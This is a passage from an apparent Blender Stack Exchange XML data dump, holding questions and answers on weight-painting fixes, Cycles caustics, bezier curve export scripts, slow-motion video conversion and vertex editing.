context&#xA;context.screen.scene = bpy.data.scenes[(bpy.data.scenes[:].index(context.screen.scene) + 1) % len(bpy.data.scenes)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-12-07T22:49:49.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10457" PostTypeId="1" AcceptedAnswerId="10458" CreationDate="2014-05-17T06:15:15.813" Score="3" ViewCount="6451" Body="&lt;p&gt;I'm new to rigging, and am trying to make a low-poly rabbit. I've made the armature and spent the better part of an hour fine-tuning the weight painting only to find out that posing nearly any bone in the armature deforms the head. I've gone over the head again and again in weight painting mode to be absolutely sure that none of the head's vertices could possibly be under the influence of any bone but the head bone, but it's no use. I can't really pose the rabbit at all--just making the rabbit tilt its ears back deforms the head so badly, it's unrecognizable. I tried normalizing and then inverting all of the weight paint to see if that would bring up the offending vertices, but that only messed up the paint job when I reverted it back the way it was. The ears affect each other a bit, too--it's more noticeable the further away they're placed from one another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attached is my file, sans normalization of weight paint (I don't think it was really necessary, and aside from the head-warping, all the bones control exactly what I want them to.) Many of the bones don't have any corresponding vertex group because they're only there to anchor other bones in place. Could that be the reason? &lt;/p&gt;&#xA;" OwnerUserId="3503" LastEditorDisplayName="user1853" LastEditDate="2015-11-30T22:46:36.630" LastActivityDate="2018-12-13T11:21:51.953" Title="(Rigging) Why are some of my vertex groups affecting blue areas?" Tags="&lt;rigging&gt;&lt;vertex-groups&gt;&lt;weight-painting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10458" PostTypeId="2" ParentId="10457" CreationDate="2014-05-17T07:55:17.807" Score="12" Body="&lt;p&gt;Blue doesn't necessarily mean zero. When a vertex is only affected by one bone, a tiny amount of weight is enough to deform it like it had a weight of 1.0.&#xA;And even if a vertex has a main deforming bone near by (even with a weight 1.0) it can be noticeable when a bone with low influence is too far away and moves differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can easily see the offending groups by going into &lt;strong&gt;Edit Mode&lt;/strong&gt;, choosing a group of interest (Vertex Group list in the Vertex Group panel) and clicking on the &lt;kbd&gt;Select&lt;/kbd&gt; button of the &lt;strong&gt;Vertex Groups&lt;/strong&gt; panel. This will select all vertices in this group, no matter what weight they have. You can also remove the stray vertices from the group by selecting them only and clicking on the &lt;kbd&gt;Remove&lt;/kbd&gt; button of the panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JRtGE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also see the groups of a vertex in the N-Panel and remove them there (click the X button of the group you want to remove). When you choose &lt;kbd&gt;Deform&lt;/kbd&gt;, only the deforming groups are visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KQxkS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;Weight Paint&lt;/strong&gt; mode you can also use the &lt;strong&gt;Use Zero Weights&lt;/strong&gt; option (T-Panel,Options) to show problems in your weighting. Select &lt;kbd&gt;Active&lt;/kbd&gt; and all vertices with zero weight of the selected bone are shown in black. As you can see, selecting the leg shows weights in blue around the head. Which means the leg bone is deforming the vertices of the head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j7laV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also see problems with no weights at any bone using &lt;kbd&gt;All&lt;/kbd&gt;. As you can see there are some black areas near the leg. This would mean these vertices will not move at all. Note that this also includes non-deforming groups, so seeing no black vertices can be misleading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PvYxM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clean vertex group weights (in &lt;strong&gt;Weight Paint&lt;/strong&gt; mode) use the &lt;strong&gt;Clean&lt;/strong&gt; tool (T-Panel,Weight Tools). Click the &lt;kbd&gt;Clean&lt;/kbd&gt; button and the tool options will be shown as in the image below. You can select a threshold in the &lt;strong&gt;Limit&lt;/strong&gt; field. All vertices below this weight will be removed from the group automatically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8x3Fq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing useful while weight-painting is to use &lt;strong&gt;Wireframe Display&lt;/strong&gt; mode (with &lt;strong&gt;Limit selection to visible&lt;/strong&gt; turned on) frequently. That way the shading doesn't obscure the weight colors. It also helps to locate the vertices better so you don't have to guess where to aim with your cursor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qzT2i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually these problems stem from using a blend mode like &lt;strong&gt;Mix&lt;/strong&gt; while painting. If you want to remove weights completely, it is often better to use &lt;strong&gt;Subtract&lt;/strong&gt; with full &lt;strong&gt;Strength&lt;/strong&gt; and &lt;strong&gt;Weight&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F3nxe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="2859" LastEditDate="2014-05-17T13:29:37.040" LastActivityDate="2014-05-17T13:29:37.040" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10459" PostTypeId="2" ParentId="10434" CreationDate="2014-05-17T09:01:37.627" Score="9" Body="&lt;h1&gt;The problem&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The issue here is that cycles, which uses &lt;a href=&quot;http://en.wikipedia.org/wiki/Path_tracing&quot; rel=&quot;nofollow noreferrer&quot;&gt;backwards path tracing&lt;/a&gt; (tracing light rays from the camera to the light sources), is not very good at rendering &lt;a href=&quot;http://en.wikipedia.org/wiki/Caustic_%28optics%29#Computer_graphics&quot; rel=&quot;nofollow noreferrer&quot;&gt;caustics&lt;/a&gt; in these  kinds of situations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is because it's not very likely for a ray to bounce off a surface, transmit through the glass bulb, and hit the element within. &lt;a href=&quot;https://blender.stackexchange.com/q/8152/599&quot;&gt;&lt;em&gt;Multiple Importance Sampling&lt;/em&gt;&lt;/a&gt; (MIS) usually helps with this by guiding more rays to hit light source(s), however the glass bulb surrounding the light source effectively prevents this from working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From left to right: &lt;em&gt;Element with MIS, Element without MIS, Element with MIS and glass bulb&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hoZ3v.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/IGZ5u.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/sAWxB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To properly render such a situation, solutions like &lt;a href=&quot;http://en.wikipedia.org/wiki/Path_tracing#Bidirectional_path_tracing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bi-direction path tracing&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/Metropolis_light_transport&quot; rel=&quot;nofollow noreferrer&quot;&gt;Metropolis Light Transport (MLT)&lt;/a&gt; exist. Unfortunately, cycles does not yet have this functionality, and &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/Roadmap&quot; rel=&quot;nofollow noreferrer&quot;&gt;it is considered &quot;not a priority&quot; according to the cycles roadmap&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even so, there is &lt;a href=&quot;https://developer.blender.org/T38401&quot; rel=&quot;nofollow noreferrer&quot;&gt;a working patch for MLT (and adaptive sampling/stopping)&lt;/a&gt; which is being actively developed as of the time of this posting. You will have to &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Doc/Building_Blender&quot; rel=&quot;nofollow noreferrer&quot;&gt;compile blender yourself&lt;/a&gt; (it's really not hard) to use this patch. &#xA;There is also an older patch for Bi-dir &lt;a href=&quot;http://lists.blender.org/pipermail/bf-cycles/2013-March/001249.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example render of the element and bulb with the MLT patch:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hjblf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's better, but not at all the desired result (I don't really know any of the MLT related settings yet, so it's possible this could be improved some more).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;See also:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/5820/599&quot;&gt;How is Cycles different from Blender Internal?&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/8645/reflecting-direct-light-on-glossy-surface-in-cycles&quot;&gt;reflecting direct light on glossy surface in Cycles&lt;/a&gt; (this is a similar problem to yours, but with reflection instead of refraction)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/5309/599&quot;&gt;When should MIS be used and when should it be disabled?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Workarounds&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the fake glass setup (see &lt;a href=&quot;https://blender.stackexchange.com/q/2558/599&quot;&gt;How to illuminate the darkness inside glass objects in Cycles?&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NKvxP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, if the incoming ray is a reflected ray and/or a shadow ray (&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Light_Paths&quot; rel=&quot;nofollow noreferrer&quot;&gt;A shadow ray is a ray that hits a light source&lt;/a&gt;), it is sent straight through as if the glass wasn't there (via the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Shaders#Transparent&quot; rel=&quot;nofollow noreferrer&quot;&gt;transparent node&lt;/a&gt;). This allows MIS to work as it normally does, so you get a nicer result like this (there are some fireflies, but you can probably clamp them out, or combine multiple renders with different seeds, etc.):&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pNjJR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LdYMV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;http://www.luxrender.net/en_GB/index&quot; rel=&quot;nofollow noreferrer&quot;&gt;Luxrender&lt;/a&gt;, an open source, unbiased, spectral renderer which has &lt;a href=&quot;http://en.wikipedia.org/wiki/Path_tracing#Bidirectional_path_tracing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bi-directional path tracing&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/Metropolis_light_transport&quot; rel=&quot;nofollow noreferrer&quot;&gt;MLT support&lt;/a&gt;. It also has support for GPU rendering with OpenCL.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use a point lamp for doing the actual illumination, and make the bulb and filament only visible to the camera by mixing the glass or emission shader with a transparent shader based on the &lt;em&gt;is camera ray&lt;/em&gt; output of the light path node.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Notes:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;There are a few things which can prevent indirect bounces from transmitting through objects entirely:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;No Caustics&lt;/em&gt; enabled in &lt;em&gt;Render Settings &gt; Light paths&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;MIS&lt;/em&gt; disabled on lamps (does not apply for mesh lamps, see &lt;a href=&quot;https://blender.stackexchange.com/q/8152/599&quot;&gt;What is multiple importance sample option&lt;/a&gt; for more details).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Make sure &lt;em&gt;No caustics&lt;/em&gt; is &lt;strong&gt;&lt;em&gt;disabled&lt;/em&gt;&lt;/strong&gt; and any lamps which you want to shine through or reflect off transmissive or glossy materials have MIS &lt;strong&gt;&lt;em&gt;enabled&lt;/em&gt;&lt;/strong&gt;. &lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-05-17T09:01:37.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10460" PostTypeId="2" ParentId="9305" CreationDate="2014-05-17T09:21:15.910" Score="2" Body="&lt;p&gt;Now I have found a way to export the bezier curves in world coordinates. To do so I name all my bezier curves &quot;BezierCurve01&quot;, &quot;BezierCurve02&quot;,...,&quot;BezierCurve18&quot; and so on. I also have to make sure that the curves are in exactly this order in the table bpy.data.curves. This is achieved by simply renaming every curve. Then I can run the following script to get the desired output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;currPath = os.path.splitext(bpy.data.filepath)[0]+&quot;.txt&quot;&#xA;file = open(currPath, &quot;w&quot;) &#xA;i = 1&#xA;&#xA;for curves in bpy.data.curves:&#xA;    idx = str(i)&#xA;    if i &amp;lt; 10:&#xA;      bezier = &quot;BezierCurve0&quot;+idx&#xA;    else:&#xA;      bezier = &quot;BezierCurve&quot;+idx&#xA;    ob = bpy.data.objects.get(bezier, None)&#xA;    for splines in curves.splines:&#xA;        for x in range(len(splines.bezier_points)): &#xA;            file.write(&quot;p &quot;)&#xA;            handle_left = ob.matrix_world * splines.bezier_points[x].handle_left&#xA;            handle_left *= 11&#xA;            co = ob.matrix_world * splines.bezier_points[x].co&#xA;            co *= 11&#xA;            handle_right = ob.matrix_world * splines.bezier_points[x].handle_right&#xA;            handle_right *= 11&#xA;            file.write(&quot;%.3f &quot; % (handle_left.y))&#xA;            file.write(&quot;%.3f &quot; % (-handle_left.x))&#xA;            file.write(&quot;%.3f &quot; % (handle_left.z)) &#xA;            file.write(&quot;%.3f &quot; % (co.y)) &#xA;            file.write(&quot;%.3f &quot; % (-co.x)) &#xA;            file.write(&quot;%.3f &quot; % (co.z))&#xA;            file.write(&quot;%.3f &quot; % (handle_right.y))&#xA;            file.write(&quot;%.3f &quot; % (-handle_right.x)) &#xA;            file.write(&quot;%.3f &quot; % (handle_right.z))&#xA;            file.write(&quot;\n&quot;)&#xA;    file.write(&quot;n\n&quot;)&#xA;    i = i + 1&#xA;&#xA;file.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This only works for 20 curves and has to be adjusted properly for more. &lt;/p&gt;&#xA;" OwnerUserId="3454" LastActivityDate="2014-05-17T09:21:15.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10461" PostTypeId="1" CreationDate="2014-05-17T12:29:31.667" Score="4" ViewCount="108" Body="&lt;p&gt;I was following &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?111436-better-way-to-unwrap-a-uvsphere-for-planets/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this short tutorial&lt;/a&gt; about creating a planet by warping a grid or plane. It works great, but I'm having one problem: the polar ends of the planet (top and bottom) are sort of coming together in a point. It's really distorted. Here's a picture.&lt;img src=&quot;https://i.stack.imgur.com/NSPGJ.png&quot; alt=&quot;Planet distortion&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's one of my nodes and UV map.&lt;img src=&quot;https://i.stack.imgur.com/osynP.png&quot; alt=&quot;Node editor&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ylR50.png&quot; alt=&quot;UV map&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if it's the texture, because everyone else was using Earth textures and I made my own in Gimp. Is there a way to fix this?&lt;/p&gt;&#xA;" OwnerUserId="1813" LastActivityDate="2014-05-17T13:39:31.600" Title="Creating a planet using grid and warp; texture is distorted?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-05-18T03:57:42.143" ContentLicense="CC BY-SA 3.0" />
  <row Id="10468" PostTypeId="1" AcceptedAnswerId="10470" CreationDate="2014-05-17T16:21:08.013" Score="8" ViewCount="3314" Body="&lt;p&gt;I am capturing video on my Canon 7D at 60fps with the intent to play it back in slow motion at 24fps. There are some Linux-based programs that will do this, but they are usually kind of buggy and I'm running Windows mostly now. How can I convert a 60fps video into a slower (2.5x longer) video at 24fps?&lt;/p&gt;&#xA;" OwnerUserId="1170" LastActivityDate="2014-05-18T10:49:29.783" Title="Can I use Blender in a slow-motion video workflow?" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10469" PostTypeId="2" ParentId="10468" CreationDate="2014-05-17T17:35:49.907" Score="1" Body="&lt;p&gt;First, You need to Output your video as a Image Sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a simple walkthrough for your.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start a new blend file.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to Compositor (Shortcut)&lt;kbd&gt;Ctrl + Leftt Arrow&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Check Use Node.&lt;/li&gt;&#xA;&lt;li&gt;Delete the Render Layer.&lt;/li&gt;&#xA;&lt;li&gt;Add Movie Layer by going to INPUT&gt;&gt;MOVIE CLIP.&lt;/li&gt;&#xA;&lt;li&gt;Load up your movie.&lt;/li&gt;&#xA;&lt;li&gt;Add a Viewer Node.&lt;/li&gt;&#xA;&lt;li&gt;In Properties, Select Scene&gt;&gt;Output and set a Folder for your&#xA;renders.&lt;/li&gt;&#xA;&lt;li&gt;In Properties, Scene &gt;&gt; Render Frames , set End Frame option to the&#xA;length of your video.&lt;/li&gt;&#xA;&lt;li&gt;Also make sure, you are using the resolution which matches your video&#xA;resolution.&lt;/li&gt;&#xA;&lt;li&gt;From Render Menu, Select Render Animation or press&#xA;&lt;kbd&gt;Ctrl+f12&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This will render out your video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8RvPh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, Change Your View to Video Editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you are using the same blend file, you don't need to change the resolution or end frame length. However, change the Frame Rate to lower number (it is just beneath the End Frame below Fram Range Option.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;IN VSE press &lt;kbd&gt;Shift+A&lt;/kbd&gt; and select image.&lt;/li&gt;&#xA;&lt;li&gt;Go to your Renders Folder.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;A&lt;/kbd&gt; to select all the render images.&lt;/li&gt;&#xA;&lt;li&gt;This puts the Sequence in your VSE.&lt;/li&gt;&#xA;&lt;li&gt;From Render Menu, Select Render Animation or press&lt;br&gt;&#xA;&lt;kbd&gt;Ctrl+f12&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This will output your video to a desired fps with desired encoding at your chosen folder.&lt;/p&gt;&#xA;" OwnerUserId="738" LastEditorUserId="738" LastEditDate="2014-05-17T17:42:20.107" LastActivityDate="2014-05-17T17:42:20.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10470" PostTypeId="2" ParentId="10468" CreationDate="2014-05-17T17:38:11.160" Score="10" Body="&lt;p&gt;You can import the movie into Blender and then export it with a different framerate using this technique:&lt;/p&gt;&#xA;&lt;h3&gt;1. &lt;strong&gt;Import the movie&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;Open up a &amp;quot;Video Sequence Editor&amp;quot; in a fresh Blender-scene. You should see something like  below:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ynMPu.png&quot; alt=&quot;Movie-Import&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Click on Add &amp;gt; Movie and select the movie you want to convert. Make sure that the Blend-option (open the panel on the right with &lt;kbd&gt;N&lt;/kbd&gt;) is set to Replace and Start Frame is 1 (see picture).&lt;/p&gt;&#xA;&lt;h3&gt;2. &lt;strong&gt;Export the movie&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;Then you go to Render Settings:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iw9yv.png&quot; alt=&quot;Video-export&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Make sure that you have selected the correct Resolution (the one of the video) and the slider is at 100%. Set the End Frame to the same as the Length of your video (seen in the picture 1 below Start Frame). Select the correct Frame Rate (24?) and the right format (I selected AVI Raw but it can be everything you like). Hit that Animation-button or Press &lt;kbd&gt;Strg+F12&lt;/kbd&gt; to render.&lt;/p&gt;&#xA;&lt;p&gt;If you have any questions, feel free to ask.&lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-05-18T10:49:29.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10471" PostTypeId="1" AcceptedAnswerId="10473" CreationDate="2014-05-17T18:31:17.747" Score="3" ViewCount="3140" Body="&lt;p&gt;I searched for this, however I'm probably not familiar with the terminology, so could not find what I wanted. Is there a way to move only one vertex of the edge? Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R0hGW.png&quot; alt=&quot;Move one vertex of the edge&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added a cube, then subdivided the top and bottom edges and added two edges from the top-left and top-middle vertices to the bottom-right vertex. I want to move only the &quot;left&quot; vertex (top-left to bottom-right - selected on the left-most cube) to the bottom-middle vertex, so I arrive at either of the two right-most configurations below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand I can delete the edge and create another one (which is what I did to demonstrate the above anyway), just wondering if this can be done to save time when moving several vertices at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the main reason is to be able to manually refine things such as using &lt;kbd&gt;Alt+F&lt;/kbd&gt; to join a cylinder and a cube, getting this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CzVgA.png&quot; alt=&quot;Move edge for complex joints&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it would be easier to move the three selected ones to the bottom-middle vertex, instead of deleting them and then creating the three new ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, regardless of the above question, there might be an easier way to do what I showed in the lase image - open to suggestions here. The point is to join two faces together so that the join is smooth.&lt;/p&gt;&#xA;" OwnerUserId="3517" LastActivityDate="2014-05-17T19:04:41.237" Title="Moving only one vertex of the edge" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10472" PostTypeId="2" ParentId="2733" CreationDate="2014-05-17T18:32:09.283" Score="0" Body="&lt;p&gt;I've used this and it works fine; I discovered this when I created a beam with several complex cuts in it, beveled with the modifier, applied and saved and later changed my mind about the bevel. If the bevel is just a matter of a few mm or so, select the part(s) you want to debevel, choose &quot;remove doubles&quot; and change the default value to the distance between the bevel vertices. It will merge the beveled edges at each vertex pair centre. Result..original mesh pre bevel. Just remember next time you use the remove doubles option to change the number back to the default.&lt;/p&gt;&#xA;" OwnerUserId="3518" LastActivityDate="2014-05-17T18:32:09.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10473" PostTypeId="2" ParentId="10471" CreationDate="2014-05-17T18:54:26.903" Score="6" Body="&lt;p&gt;You can use &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; for &lt;em&gt;Rip fill&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HNmjL.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally you could just press &lt;kbd&gt;G&lt;/kbd&gt; with the vertex selected (or &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; if you wanted to slide a vertex along the edge).&lt;br&gt;&#xA;However, since the vertex you want to move has other edges connected to it, you must create a new, separate vertex with the one edge attached (&lt;em&gt;Rip&lt;/em&gt;, &lt;kbd&gt;V&lt;/kbd&gt;), and then fill in the newly formed hole (&lt;em&gt;Fill&lt;/em&gt;, &lt;kbd&gt;F&lt;/kbd&gt;). The &lt;em&gt;Rip Fill&lt;/em&gt; tool does these two operations automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assumed that there is only one vertex at the corner. If you have multiple vertices in the same place (doubles), then you need only to press &lt;kbd&gt;G&lt;/kbd&gt; with the right one selected.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-05-17T19:04:41.237" LastActivityDate="2014-05-17T19:04:41.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10474" PostTypeId="1" CreationDate="2014-05-17T19:32:31.960" Score="1" ViewCount="625" Body="&lt;p&gt;I've been playing with duplifaces and it turns out the orientation of the copied geometry depends on the order of the vertices in the face (&lt;a href=&quot;https://developer.blender.org/T30547&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.blender.org/T30547&lt;/a&gt;).  Since I'm unhappy with the orientation of some of my duplicated geometry, clearly I need to &quot;rotate&quot; the vertex order of some of the faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've come up with this little python snippet, but it has one drawback I can think of.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# rotate selected face&#xA;&#xA;import bpy&#xA;import bmesh&#xA;&#xA;mesh = bpy.context.active_object.data&#xA;bm = bmesh.from_edit_mesh(mesh)&#xA;&#xA;for face in bm.faces:&#xA;    if (face.select):&#xA;        vs = face.verts[:]&#xA;        vs2 = vs[1:]+vs[:1]&#xA;        # face.verts =vs2 # fails because verts is read-only&#xA;        bm.faces.remove(face)&#xA;        f2 = bm.faces.new(vs2)&#xA;        f2.select = True&#xA;&#xA;# trigger UI update    &#xA;bmesh.update_edit_mesh(mesh)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The drawback is that it destroys the old face and creates a new one.  I suspect that there will be some cases where information on the old face will be lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just for some flavor, here's an illustration of a situation where you might want manual control over the orientation: &lt;img src=&quot;https://i.stack.imgur.com/taJTZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="1363" LastEditDate="2014-08-18T17:48:48.453" LastActivityDate="2014-09-17T18:41:19.913" Title="Is there a better way to rotate the order of vertices of currently selected faces in edit mode?" Tags="&lt;scripting&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
